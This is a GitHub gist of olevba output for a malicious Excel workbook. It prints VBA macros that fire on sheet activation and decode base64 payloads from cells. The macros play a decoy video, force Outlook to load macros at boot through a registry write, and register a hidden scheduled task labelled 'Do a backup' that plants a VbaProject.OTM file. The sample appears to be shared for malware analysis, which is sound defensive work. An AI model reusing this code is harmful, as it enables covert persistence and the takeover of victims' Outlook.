Created
November 12, 2019 21:31
-
-
Save JohnLaTwC/75149b8d0c88c78f86f78c843c308b03 to your computer and use it in GitHub Desktop.
Revisions
-
JohnLaTwC created this gist
Nov 12, 2019 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,305 @@ olevba 0.54.2 on Python 3.7.3 - http://decalage.info/python/oletools =============================================================================== FILE: a8f5b757d2111927731c2c4730ca97a9d4f2c2b6eb9cd80bbb3ff33168bfd740 Type: OpenXML ------------------------------------------------------------------------------- VBA MACRO ThisWorkbook.cls in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro) ------------------------------------------------------------------------------- VBA MACRO Hoja1.cls in file: xl/vbaProject.bin - OLE stream: 'VBA/Hoja1' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Private Sub Worksheet_Activate() DecodeV Application.DisplayFullScreen = True Application.DisplayStatusBar = False WindowsMediaPlayer1.uiMode = "full" 'WindowsMediaPlayer1.Locked = True 'WindowsMediaPlayer1.Activate 'ActiveWindow.EnableResize = True ActiveWindow.DisplayGridlines = False ActiveWindow.DisplayHeadings = False ActiveWindow.DisplayHorizontalScrollBar = False ActiveWindow.DisplayOutline = False ActiveWindow.DisplayRuler = False ActiveWindow.DisplayVerticalScrollBar = False ActiveWindow.DisplayRightToLeft = False ActiveWindow.DisplayWhitespace = False ActiveWindow.DisplayWorkbookTabs = False ActiveWindow.DisplayZeros = False ActiveWindow.DisplayFormulas = False WindowsMediaPlayer1.Left = 0 WindowsMediaPlayer1.Top = 0 WindowsMediaPlayer1.Width = Application.Width WindowsMediaPlayer1.Height = 0.95 * Application.Height WindowsMediaPlayer1.BringToFront WindowsMediaPlayer1.Url = directorio + "\Prueba02.mp4" Application.DisplayAlerts = False Application.OnTime Now + TimeValue("0:00:7"), "mensaje" End Sub ------------------------------------------------------------------------------- VBA MACRO Gráfico1.cls in file: xl/vbaProject.bin - OLE stream: 'VBA/Gráfico1' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Private Sub Chart_Calculate() Hoja2.Activate 'Hoja1.Activate End Sub ------------------------------------------------------------------------------- VBA MACRO Hoja2.cls in file: xl/vbaProject.bin - OLE stream: 'VBA/Hoja2' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Private Sub Worksheet_Activate() Const TriggerTypeLogon = 9 Const ActionTypeExec = 0 Set service = CreateObject("Schedule.Service") Call service.Connect Dim rootFolder Set rootFolder = service.GetFolder("\") Dim taskDefinition Set taskDefinition = service.NewTask(0) Dim regInfo Set regInfo = taskDefinition.RegistrationInfo regInfo.Description = "Do a backup" regInfo.Author = "Author Name" Dim principal Set principal = taskDefinition.principal principal.LogonType = 3 Dim settings Set settings = taskDefinition.settings settings.Enabled = True settings.StartWhenAvailable = True settings.Hidden = True Dim triggers Set triggers = taskDefinition.triggers Dim trigger Set trigger = triggers.Create(TriggerTypeLogon) Dim startTime, endTime Dim time time = DateAdd("s", 10, Now) 'start time = 30 seconds from now startTime = XmlTime(time) time = DateAdd("m", 2, Now) endTime = XmlTime(time) trigger.StartBoundary = startTime trigger.EndBoundary = endTime trigger.ExecutionTimeLimit = "PT5M" 'Five minutes trigger.ID = "LogonTriggerId" trigger.Enabled = True Dim UNombre Dim UDominio UNombre = Environ("username") UDominio = Environ("userdomain") 'MsgBox ("Usuario: " & UDominio & "\" & UNombre) trigger.UserID = UDominio & "\" & UNombre 'Crear fichero OTM en disco TestDecodeToFile ' Cambia el registro Dim myWS As Object Dim clavereg, claveres calvereg = "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\LoadMacroProviderOnBoot" Set myWS = CreateObject("WScript.Shell") claveres = myWS.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\LoadMacroProviderOnBoot", 1, "REG_DWORD") Dim UPerf Dim WDir Dim Comando UPerf = Environ("UserProfile") WDir = Environ("WinDir") Comando = Hoja3.Cells(1, 2) Dim Action Set Action = taskDefinition.Actions.Create(ActionTypeExec) Action.Path = Comando Action.Arguments = "Move-Item -Path " & UPerf & "\Desktop\decoded_otm_new.txt " & UPerf & "\AppData\Roaming\Microsoft\Outlook\VbaProject.OTM" On Error Resume Next Call rootFolder.RegisterTaskDefinition("UserTask", taskDefinition, 6, , , 3) On Error GoTo 0 End Sub Function XmlTime(t) Dim cSecond, cMinute, CHour, cDay, cMonth, cYear Dim tTime, tDate cSecond = "0" & Second(t) cMinute = "0" & Minute(t) CHour = "0" & Hour(t) cDay = "0" & Day(t) cMonth = "0" & Month(t) cYear = Year(t) tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & _ ":" & Right(cSecond, 2) tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2) XmlTime = tDate & "T" & tTime End Function Sub TestDecodeToFile() Dim UPerf UPerf = Environ("UserProfile") Dim strTempPath As String Dim b64test As String b64test1 = Hoja3.Cells(1, 1) b64test2 = Hoja3.Cells(2, 1) b64test3 = Hoja3.Cells(3, 1) b64test4 = Hoja3.Cells(4, 1) b64test5 = Hoja3.Cells(5, 1) b64test6 = Hoja3.Cells(6, 1) b64test7 = Hoja3.Cells(7, 1) b64test8 = Hoja3.Cells(8, 1) b64test9 = Hoja3.Cells(9, 1) b64test10 = Hoja3.Cells(10, 1) b64test11 = Hoja3.Cells(11, 1) b64test12 = Hoja3.Cells(12, 1) b64test13 = Hoja3.Cells(13, 1) b64test = b64test1 + b64test2 + b64test3 + b64test4 + b64test5 + b64test6 + b64test7 + b64test8 + b64test9 + b64test10 + b64test11 + b64test12 + b64test13 strTempPath = UPerf & "\Desktop\decoded_otm_new.txt" Open strTempPath For Binary As #1 Put #1, 1, DecodeBase64(b64test) Close #1 End Sub Private Function DecodeBase64(ByVal strData As String) As Byte() Dim objXML As Object 'MSXML2.DOMDocument Dim objNode As Object 'MSXML2.IXMLDOMElement 'get dom document Set objXML = CreateObject("MSXML2.DOMDocument") 'create node with type of base 64 and decode Set objNode = objXML.createElement("b64") objNode.DataType = "bin.base64" objNode.Text = strData DecodeBase64 = objNode.nodeTypedValue 'clean up Set objNode = Nothing Set objXML = Nothing End Function ------------------------------------------------------------------------------- VBA MACRO Módulo1.bas in file: xl/vbaProject.bin - OLE stream: 'VBA/Módulo1' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Public Sub mensaje() Application.DisplayAlerts = False If (Application.Workbooks.Count > 1) Then 'ThisWorkbook.Close 'DEjo la aplicación Excel tal y como estaba Application.DisplayFullScreen = False 'Application.DisplayStatusBar = True Else 'DEjo la aplicación Excel tal y como estaba Application.DisplayFullScreen = False 'Application.DisplayStatusBar = True ActiveWindow.DisplayWorkbookTabs = True 'Application.Quit End If End Sub Sub DecodeV() Dim strTempPath As String Dim b64test As String Dim temporal As String b64test1 = "" b64test1 = cargarV temporal = directorio strTempPath = temporal + "\Prueba02.mp4" If (Dir(strTempPath) = "") Then 'save byte array to temp file Open strTempPath For Binary As #1 Put #1, 1, DecodeBase64(b64test1) Close #1 End If End Sub Function directorio() As String Dim fso As Object Set fso = CreateObject("Scripting.FileSystemObject") get_TempFolder = fso.GetSpecialFolder(2) directorio = get_TempFolder End Function Private Function DecodeBase64(ByVal strData As String) As Byte() Dim objXML As Object 'MSXML2.DOMDocument Dim objNode As Object 'MSXML2.IXMLDOMElement 'get dom document Set objXML = CreateObject("MSXML2.DOMDocument") 'create node with type of base 64 and decode Set objNode = objXML.createElement("b64") objNode.DataType = "bin.base64" objNode.Text = strData DecodeBase64 = objNode.nodeTypedValue 'clean up Set objNode = Nothing Set objXML = Nothing End Function Private Function cargarV() As String Dim fila, columna As Integer Dim texto As String fila = 1 columna = 1 texto = "" While (Hoja2.Cells(fila, columna) <> "") texto = texto & Hoja2.Cells(fila, columna) fila = fila + 1 Wend cargarV = texto End Function ------------------------------------------------------------------------------- VBA MACRO Hoja3.cls in file: xl/vbaProject.bin - OLE stream: 'VBA/Hoja3' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro)